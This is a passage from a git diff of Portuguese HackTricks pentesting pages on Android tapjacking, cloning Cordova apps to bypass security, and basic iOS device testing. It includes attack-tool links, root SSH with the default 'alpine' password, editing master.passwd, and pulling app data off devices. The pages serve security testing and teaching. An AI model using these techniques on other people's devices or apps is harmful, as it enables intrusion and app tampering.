* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,46 +1,47 @@
# Tapjacking
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## **Informação Básica**
## **Informações Básicas**
**Tapjacking** é um ataque onde um **aplicativo malicioso** é lançado e **se posiciona sobre um aplicativo da vítima**. Uma vez que ele obscurece visualmente o aplicativo da vítima, sua interface de usuário é projetada de forma a enganar o usuário para interagir com ele, enquanto está passando a interação para o aplicativo da vítima.\
Na prática, ele **impede o usuário de saber que está realmente realizando ações no aplicativo da vítima**.
**Tapjacking** é um ataque onde um **aplicativo malicioso** é lançado e **se posiciona em cima de um aplicativo vítima**. Uma vez que ele obscurece visivelmente o aplicativo vítima, sua interface de usuário é projetada de tal forma a enganar o usuário para interagir com ele, enquanto passa a interação para o aplicativo vítima.\
Na prática, isso **cega o usuário para saber que ele está realmente realizando ações no aplicativo vítima**.
### Detecção
Para detectar aplicativos vulneráveis a esse ataque, você deve procurar por **atividades exportadas** no manifesto do Android (observe que uma atividade com um intent-filter é automaticamente exportada por padrão). Depois de encontrar as atividades exportadas, **verifique se elas requerem alguma permissão**. Isso ocorre porque o **aplicativo malicioso também precisará dessa permissão**.
Para detectar aplicativos vulneráveis a este ataque, você deve procurar por **atividades exportadas** no manifesto do android (note que uma atividade com um intent-filter é automaticamente exportada por padrão). Uma vez que você tenha encontrado as atividades exportadas, **verifique se elas requerem alguma permissão**. Isso porque o **aplicativo malicioso também precisará dessa permissão**.
### Proteção
#### Android 12 (API 31,32) e superior
[**De acordo com esta fonte**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** os ataques de tapjacking são automaticamente impedidos pelo Android a partir do Android 12 (API 31 e 30) e superiores. Portanto, mesmo que o aplicativo seja vulnerável, você **não conseguirá explorá-lo**.
[**De acordo com esta fonte**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** ataques de tapjacking são automaticamente prevenidos pelo Android a partir do Android 12 (API 31 & 30) e superior. Portanto, mesmo que o aplicativo seja vulnerável, você **não poderá explorá-lo**.
#### `filterTouchesWhenObscured`
Se **`android:filterTouchesWhenObscured`** for definido como **`true`**, a `View` não receberá toques sempre que a janela da visualização estiver obscurecida por outra janela visível.
Se **`android:filterTouchesWhenObscured`** estiver definido como **`true`**, a `View` não receberá toques sempre que a janela da view estiver obscurecida por outra janela visível.
#### **`setFilterTouchesWhenObscured`**
O atributo **`setFilterTouchesWhenObscured`** definido como true também pode prevenir a exploração dessa vulnerabilidade se a versão do Android for mais antiga.\
O atributo **`setFilterTouchesWhenObscured`** definido como verdadeiro também pode prevenir a exploração dessa vulnerabilidade se a versão do Android for inferior.\
Se definido como **`true`**, por exemplo, um botão pode ser automaticamente **desativado se estiver obscurecido**:
```xml
<Button android:text="Button"
@ -54,42 +55,43 @@ android:filterTouchesWhenObscured="true">
### Tapjacking-ExportedActivity
A aplicação **Android mais recente** que realiza um ataque de Tapjacking (+ invocando antes de uma atividade exportada da aplicação atacada) pode ser encontrada em: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
O mais **recente aplicativo Android** realizando um ataque de Tapjacking (+ invocando antes de uma atividade exportada do aplicativo atacado) pode ser encontrado em: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
Siga as **instruções do README para utilizá-lo**.
Siga as **instruções do README para usá-lo**.
### FloatingWindowApp
Um projeto de exemplo que implementa **FloatingWindowApp**, o qual pode ser utilizado para colocar em cima de outras atividades para realizar um ataque de clickjacking, pode ser encontrado em [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (um pouco antigo, boa sorte construindo o apk).
Um projeto de exemplo implementando **FloatingWindowApp**, que pode ser usado para sobrepor outras atividades para realizar um ataque de clickjacking, pode ser encontrado em [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (um pouco antigo, boa sorte construindo o apk).
### Qark
{% hint style="danger" %}
Parece que este projeto não está mais sendo mantido e esta funcionalidade não está mais funcionando corretamente
Parece que este projeto agora não está mais sendo mantido e essa funcionalidade não está funcionando corretamente
{% endhint %}
Você pode usar [**qark**](https://github.com/linkedin/qark) com os parâmetros `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` para criar uma aplicação maliciosa para testar possíveis vulnerabilidades de **Tapjacking**.
Você pode usar [**qark**](https://github.com/linkedin/qark) com os parâmetros `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` para criar um aplicativo malicioso para testar possíveis vulnerabilidades de **Tapjacking**.\
A mitigação é relativamente simples, pois o desenvolvedor pode optar por não receber eventos de toque quando uma visualização é coberta por outra. Utilizando a [Referência do Desenvolvedor Android](https://developer.android.com/reference/android/view/View#security):
A mitigação é relativamente simples, pois o desenvolvedor pode optar por não receber eventos de toque quando uma visualização está coberta por outra. Usando a [Referência do Desenvolvedor Android](https://developer.android.com/reference/android/view/View#security):
> Às vezes é essencial que um aplicativo seja capaz de verificar que uma ação está sendo realizada com pleno conhecimento e consentimento do usuário, como conceder uma solicitação de permissão, fazer uma compra ou clicar em um anúncio. Infelizmente, um aplicativo malicioso poderia tentar enganar o usuário para realizar essas ações, sem saber, ocultando o propósito pretendido da visualização. Como remédio, o framework oferece um mecanismo de filtragem de toque que pode ser usado para melhorar a segurança de visualizações que fornecem acesso a funcionalidades sensíveis.
> Às vezes, é essencial que um aplicativo possa verificar se uma ação está sendo realizada com o pleno conhecimento e consentimento do usuário, como conceder um pedido de permissão, fazer uma compra ou clicar em um anúncio. Infelizmente, um aplicativo malicioso poderia tentar enganar o usuário para realizar essas ações, sem que ele perceba, ocultando o propósito pretendido da visualização. Como remédio, o framework oferece um mecanismo de filtragem de toque que pode ser usado para melhorar a segurança das visualizações que fornecem acesso a funcionalidades sensíveis.
>
> Para habilitar a filtragem de toque, chame [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) ou defina o atributo de layout android:filterTouchesWhenObscured como true. Quando habilitado, o framework descartará toques que forem recebidos sempre que a janela da visualização estiver obscurecida por outra janela visível. Como resultado, a visualização não receberá toques sempre que um toast, diálogo ou outra janela aparecer acima da janela da visualização.
> Para habilitar a filtragem de toque, chame [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) ou defina o atributo de layout android:filterTouchesWhenObscured como verdadeiro. Quando habilitado, o framework descartará toques que forem recebidos sempre que a janela da visualização estiver obscurecida por outra janela visível. Como resultado, a visualização não receberá toques sempre que um toast, diálogo ou outra janela aparecer acima da janela da visualização.
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Suporte ao HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# Aplicativos Cordova
# Cordova Apps
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Para mais detalhes, confira [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)**. Este é um resumo:
**Para mais detalhes, consulte [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)**. Este é um resumo:
O Apache Cordova é reconhecido por permitir o desenvolvimento de **aplicativos híbridos** usando **JavaScript, HTML e CSS**. Ele permite a criação de aplicativos Android e iOS; no entanto, ele não possui um mecanismo padrão para proteger o código-fonte do aplicativo. Ao contrário do React Native, o Cordova não compila o código-fonte por padrão, o que pode levar a vulnerabilidades de manipulação de código. O Cordova utiliza o WebView para renderizar aplicativos, expondo o código HTML e JavaScript mesmo após ser compilado em arquivos APK ou IPA. O React Native, por outro lado, emprega uma VM JavaScript para executar o código JavaScript, oferecendo uma melhor proteção do código-fonte.
Apache Cordova é reconhecido por permitir o desenvolvimento de **aplicações híbridas** usando **JavaScript, HTML e CSS**. Ele permite a criação de aplicações Android e iOS; no entanto, não possui um mecanismo padrão para proteger o código-fonte da aplicação. Em contraste com o React Native, o Cordova não compila o código-fonte por padrão, o que pode levar a vulnerabilidades de manipulação de código. O Cordova utiliza WebView para renderizar aplicações, expondo o código HTML e JavaScript mesmo após ser compilado em arquivos APK ou IPA. O React Native, por outro lado, emprega uma VM JavaScript para executar o código JavaScript, oferecendo melhor proteção do código-fonte.
### Clonando um Aplicativo Cordova
### Clonando uma Aplicação Cordova
Antes de clonar um aplicativo Cordova, certifique-se de que o NodeJS está instalado juntamente com outros pré-requisitos como o Android SDK, Java JDK e Gradle. A [documentação](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building) oficial do Cordova fornece um guia abrangente para essas instalações.
Antes de clonar uma aplicação Cordova, certifique-se de que o NodeJS está instalado junto com outros pré-requisitos, como o Android SDK, Java JDK e Gradle. A [documentação oficial do Cordova](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building) fornece um guia abrangente para essas instalações.
Considere um aplicativo de exemplo chamado `Bank.apk` com o nome do pacote `com.android.bank`. Para acessar o código-fonte, descompacte `bank.apk` e navegue até a pasta `bank/assets/www`. Esta pasta contém o código-fonte completo do aplicativo, incluindo arquivos HTML e JS. A configuração do aplicativo pode ser encontrada em `bank/res/xml/config.xml`.
Considere um exemplo de aplicação chamada `Bank.apk` com o nome do pacote `com.android.bank`. Para acessar o código-fonte, descompacte `bank.apk` e navegue até a pasta `bank/assets/www`. Esta pasta contém o código-fonte completo da aplicação, incluindo arquivos HTML e JS. A configuração da aplicação pode ser encontrada em `bank/res/xml/config.xml`.
Para clonar o aplicativo, siga estes passos:
Para clonar a aplicação, siga estes passos:
```bash
npm install -g cordova@latest
cordova create bank-new com.android.bank Bank
@ -32,16 +33,16 @@ cd bank-new
```
Copie o conteúdo de `bank/assets/www` para `bank-new/www`, excluindo `cordova_plugins.js`, `cordova.js`, `cordova-js-src/` e o diretório `plugins/`.
Especifique a plataforma (Android ou iOS) ao criar um novo projeto Cordova. Para clonar um aplicativo Android, adicione a plataforma Android. Note que as versões de plataforma do Cordova e os níveis de API do Android são distintos. Consulte a [documentação](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/) do Cordova para obter detalhes sobre as versões de plataforma e APIs do Android suportadas.
Especifique a plataforma (Android ou iOS) ao criar um novo projeto Cordova. Para clonar um aplicativo Android, adicione a plataforma Android. Observe que as versões da plataforma do Cordova e os níveis da API do Android são distintos. Consulte a [documentação](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/) do Cordova para detalhes sobre versões de plataforma e APIs do Android suportadas.
Para determinar a versão apropriada da plataforma Cordova Android, verifique o `PLATFORM_VERSION_BUILD_LABEL` no arquivo `cordova.js` do aplicativo original.
Após configurar a plataforma, instale os plugins necessários. O arquivo `bank/assets/www/cordova_plugins.js` do aplicativo original lista todos os plugins e suas versões. Instale cada plugin individualmente conforme mostrado abaixo:
Após configurar a plataforma, instale os plugins necessários. O arquivo `bank/assets/www/cordova_plugins.js` do aplicativo original lista todos os plugins e suas versões. Instale cada plugin individualmente, conforme mostrado abaixo:
```bash
cd bank-new
cordova plugin add cordova-plugin-dialogs@2.0.1
```
Se um plugin não estiver disponível no npm, ele pode ser obtido no GitHub:
Se um plugin não estiver disponível no npm, ele pode ser obtido do GitHub:
```bash
cd bank-new
cordova plugin add https://github.com/moderna/cordova-plugin-cache.git
@ -51,7 +52,7 @@ Certifique-se de que todos os pré-requisitos sejam atendidos antes de compilar:
cd bank-new
cordova requirements
```
Para construir o APK, utilize o seguinte comando:
Para construir o APK, use o seguinte comando:
```bash
cd bank-new
cordova build android — packageType=apk
@ -60,18 +61,19 @@ Este comando gera um APK com a opção de depuração ativada, facilitando a dep
### Ferramenta de Automação
Para aqueles que buscam automatizar o processo de clonagem, **[MobSecco](https://github.com/Anof-cyber/MobSecco)** é uma ferramenta recomendada. Ele simplifica a clonagem de aplicativos Android, simplificando os passos descritos acima.
Para aqueles que buscam automatizar o processo de clonagem, **[MobSecco](https://github.com/Anof-cyber/MobSecco)** é uma ferramenta recomendada. Ela simplifica a clonagem de aplicativos Android, facilitando os passos descritos acima.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# Operações Básicas de Teste no iOS
# Operações Básicas de Teste em iOS
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
## **Resumo da Identificação e Acesso de Dispositivos iOS**
## **Resumo da Identificação e Acesso a Dispositivos iOS**
### **Identificando o UDID de um Dispositivo iOS**
Para identificar um dispositivo iOS de forma única, é usado uma sequência de 40 dígitos conhecida como UDID. No macOS Catalina ou mais recente, isso pode ser encontrado no aplicativo **Finder**, pois o iTunes não está mais presente. O dispositivo, uma vez conectado via USB e selecionado no Finder, revela seu UDID, entre outras informações, quando os detalhes sob seu nome são clicados.
Para identificar um dispositivo iOS de forma única, utiliza-se uma sequência de 40 dígitos conhecida como UDID. No macOS Catalina ou versões mais recentes, isso pode ser encontrado no **aplicativo Finder**, já que o iTunes não está mais presente. O dispositivo, uma vez conectado via USB e selecionado no Finder, revela seu UDID entre outras informações quando os detalhes sob seu nome são clicados.
Para versões do macOS anteriores ao Catalina, o iTunes facilita a descoberta do UDID. Instruções detalhadas podem ser encontradas [aqui](http://www.iclarified.com/52179/how-to-find-your-iphones-udid).
@ -28,7 +29,7 @@ Ferramentas de linha de comando oferecem métodos alternativos para recuperar o
```bash
$ ioreg -p IOUSB -l | grep "USB Serial"
```
* **Usando `ideviceinstaller` no macOS (e Linux):**
* **Usando `ideviceinstaller` para macOS (e Linux):**
```bash
$ brew install ideviceinstaller
$ idevice_id -l
@ -37,30 +38,30 @@ $ idevice_id -l
```bash
$ system_profiler SPUSBDataType | sed -n -e '/iPad/,/Serial/p;/iPhone/,/Serial/p;/iPod/,/Serial/p' | grep "Serial Number:"
```
* **Utilizando `instruments` para listar dispositivos:**
* **Usando `instruments` para listar dispositivos:**
```bash
$ instruments -s devices
```
### **Acessando o Shell do Dispositivo**
O acesso **SSH** é habilitado instalando o pacote **OpenSSH** pós-jailbreak, permitindo conexões via `ssh root@<device_ip_address>`. É crucial alterar as senhas padrão (`alpine`) para os usuários `root` e `mobile` para garantir a segurança do dispositivo.
O **acesso SSH** é habilitado instalando o **pacote OpenSSH** após o jailbreak, permitindo conexões via `ssh root@<device_ip_address>`. É crucial alterar as senhas padrão (`alpine`) para os usuários `root` e `mobile` para proteger o dispositivo.
O **SSH via USB** se torna necessário na ausência de Wi-Fi, utilizando `iproxy` para mapear as portas do dispositivo para conexões SSH. Essa configuração permite o acesso SSH através de USB executando:
**SSH via USB** torna-se necessário na ausência de Wi-Fi, usando `iproxy` para mapear portas do dispositivo para conexões SSH. Essa configuração permite o acesso SSH através de USB executando:
```bash
$ iproxy 2222 22
$ ssh -p 2222 root@localhost
```
**Aplicativos de shell no dispositivo**, como o NewTerm 2, facilitam a interação direta com o dispositivo, especialmente útil para solução de problemas. As **conchas SSH reversas** também podem ser estabelecidas para acesso remoto a partir do computador host.
**Aplicativos de shell no dispositivo**, como NewTerm 2, facilitam a interação direta com o dispositivo, especialmente útil para solução de problemas. **Shells SSH reversos** também podem ser estabelecidos para acesso remoto a partir do computador host.
### **Redefinindo Senhas Esquecidas**
Para redefinir uma senha esquecida de volta para o padrão (`alpine`), é necessário editar o arquivo `/private/etc/master.passwd`. Isso envolve substituir o hash existente pelo hash para `alpine` ao lado das entradas de usuário `root` e `mobile`.
Para redefinir uma senha esquecida de volta ao padrão (`alpine`), é necessário editar o arquivo `/private/etc/master.passwd`. Isso envolve substituir o hash existente pelo hash para `alpine` ao lado das entradas de usuário `root` e `mobile`.
## **Técnicas de Transferência de Dados**
### **Transferindo Arquivos de Dados do Aplicativo**
### **Transferindo Arquivos de Dados do App**
**Arquivamento e Recuperação via SSH e SCP:** É simples arquivar o diretório de Dados do aplicativo usando `tar` e depois transferi-lo usando `scp`. O comando abaixo arquiva o diretório de Dados em um arquivo .tgz, que é então transferido do dispositivo:
**Arquivamento e Recuperação via SSH e SCP:** É simples arquivar o diretório Data do aplicativo usando `tar` e, em seguida, transferi-lo usando `scp`. O comando abaixo arquiva o diretório Data em um arquivo .tgz, que é então puxado do dispositivo:
```bash
tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693
exit
@ -68,33 +69,33 @@ scp -P 2222 root@localhost:/tmp/data.tgz .
```
### **Ferramentas de Interface Gráfica do Usuário**
**Usando iFunbox e iExplorer:** Essas ferramentas de GUI são úteis para gerenciar arquivos em dispositivos iOS. No entanto, a partir do iOS 8.4, a Apple restringiu o acesso dessas ferramentas ao sandbox do aplicativo, a menos que o dispositivo esteja jailbroken.
**Usando iFunbox e iExplorer:** Essas ferramentas GUI são úteis para gerenciar arquivos em dispositivos iOS. No entanto, a partir do iOS 8.4, a Apple restringiu o acesso dessas ferramentas ao sandbox do aplicativo, a menos que o dispositivo esteja jailbroken.
### **Usando Objection para Gerenciamento de Arquivos**
**Shell Interativo com Objection:** Iniciar o objection fornece acesso ao diretório Bundle de um aplicativo. A partir daqui, você pode navegar até o diretório Documents do aplicativo e gerenciar arquivos, incluindo o download e upload deles de e para o dispositivo iOS.
**Shell Interativo com Objection:** Iniciar o objection fornece acesso ao diretório Bundle de um aplicativo. A partir daqui, você pode navegar até o diretório Documents do aplicativo e gerenciar arquivos, incluindo baixar e enviar arquivos para e do dispositivo iOS.
```bash
objection --gadget com.apple.mobilesafari explorer
cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
file download <filename>
```
## **Obtaining and Extracting Apps**
## **Obtendo e Extraindo Aplicativos**
### **Obtaining the IPA File**
### **Adquirindo o Arquivo IPA**
**Link de Distribuição Over-The-Air (OTA):** Apps distribuídos para teste via OTA podem ser baixados usando a ferramenta de download de ativos de serviços ITMS, que é instalada via npm e usada para salvar o arquivo IPA localmente.
**Link de Distribuição Over-The-Air (OTA):** Aplicativos distribuídos para teste via OTA podem ser baixados usando a ferramenta de download de ativos dos serviços ITMS, que é instalada via npm e usada para salvar o arquivo IPA localmente.
```bash
npm install -g itms-services
itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
```
### **Extraindo o Binário do Aplicativo**
